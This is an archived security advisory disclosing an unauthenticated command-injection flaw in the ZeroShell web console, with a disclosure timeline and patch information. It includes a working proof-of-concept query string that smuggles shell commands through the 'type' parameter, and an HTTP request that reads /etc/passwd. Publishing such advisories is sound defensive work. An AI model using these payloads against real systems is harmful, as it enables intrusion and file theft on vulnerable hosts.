[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

ZeroShell <= 1.0beta11 Remote Code Execution



 ========================================================================
 ZeroShell <= 1.0beta11 Remote Code Execution
 ========================================================================

 Affected Software: ZeroShell <= 1.0beta11
 Severity: High
 Local/Remote: Remote
 Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com
 Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt

 [Summary]

 ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution
 for servers and embedded devices. This Linux distro can be configured
 and managed with an easy to use web console.

 ZeroShell is prone to an arbitrary code execution vulnerability due to
 an improper input validation mechanism. An aggressor may abuse this
 weakness in order to compromise the entire system.
 Authentication is not required in order to exploit this flaw.

 [Vulnerability Details]

 The ZeroShell web console uses a CGI program and several bash scripts
 to provide all administrative functions. An improper input validation
 mechanism permits the injection of arbitrary system commands.
 An unauthenticated user may invoke a function to retrieve all x509
 certificates present in the repository, using the following GET request:
 https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user

 The parameter "type" is used to distinguish between users, CA and host
 certificates. Unfortunately, this parameter is passed to the following
 code without input validation at all:

 <-- cut here -->
 TYPE="$1"
 cd "$SSLDIR/certs" || exit 1
 ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{
 <-- cut here -->

 An aggressor may easily escape the hardcoded commands, adding arbitrary
 system commands. According to the default system configuration, these
 commands are executed as "apache" (low privileges user).

 [Proof of Concept Exploit]

 /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22

 In addition to the Unix commands, it is possible to abuse the
 ZeroShell scripts themself. For instance it is likely to use the
 "getkey" script in order to retrieve remote files, including the content
 in the html page.

 {HTTP REQUEST}
 GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
 /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
 Host: <IP>

 [Fix Information]

 The vendor has published a patch for the release 1.0beta11 only.
 http://www.zeroshell.net/eng/patch-details/#C100

 The new release (1.0beta12) will be available soon.

 [Time Table]

 08/01/2009 - Vendor notified.
 08/01/2009 - Vendor response.
 11/01/2009 - Vendor patch release.
 09/02/2009 - Public disclosure.

 [Legal Notices]

 The information in the advisory is believed to be accurate at the
 time of publishing based on currently available information.
 This information is provided as-is, as a free service to the community.
 There are no warranties with regard to this information.
 The author does not accept any liability for any direct,
 indirect, or consequential loss or damage arising from use of,
 or reliance on, this information.
 Permission is hereby granted for the redistribution of this alert,
 provided that the content is not altered in any way, except
 reformatting, and that due credit is given.

 This vulnerability has been disclosed in accordance with the RFP
 Full-Disclosure Policy v2.0, available at:
 http://www.wiretrip.net/rfp/policy.html